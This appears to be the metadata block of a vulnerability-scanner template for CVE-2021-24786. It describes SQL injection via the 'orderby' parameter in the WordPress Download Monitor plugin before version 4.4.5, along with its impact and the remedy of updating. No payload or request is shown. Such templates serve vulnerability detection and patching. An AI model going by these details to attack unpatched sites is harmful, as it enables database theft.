id: CVE-2021-24786

info:
  name: Download Monitor < 4.4.5 - SQL Injection
  author: MrHarsh
  severity: high
  description: |
    The Download Monitor plugin for WordPress is vulnerable to SQL injection via the 'orderby' parameter in versions before 4.4.5 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers with administrator-level permissions to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data theft, modification, or deletion.
  remediation: |
    Update to version 4.4.5 or later.
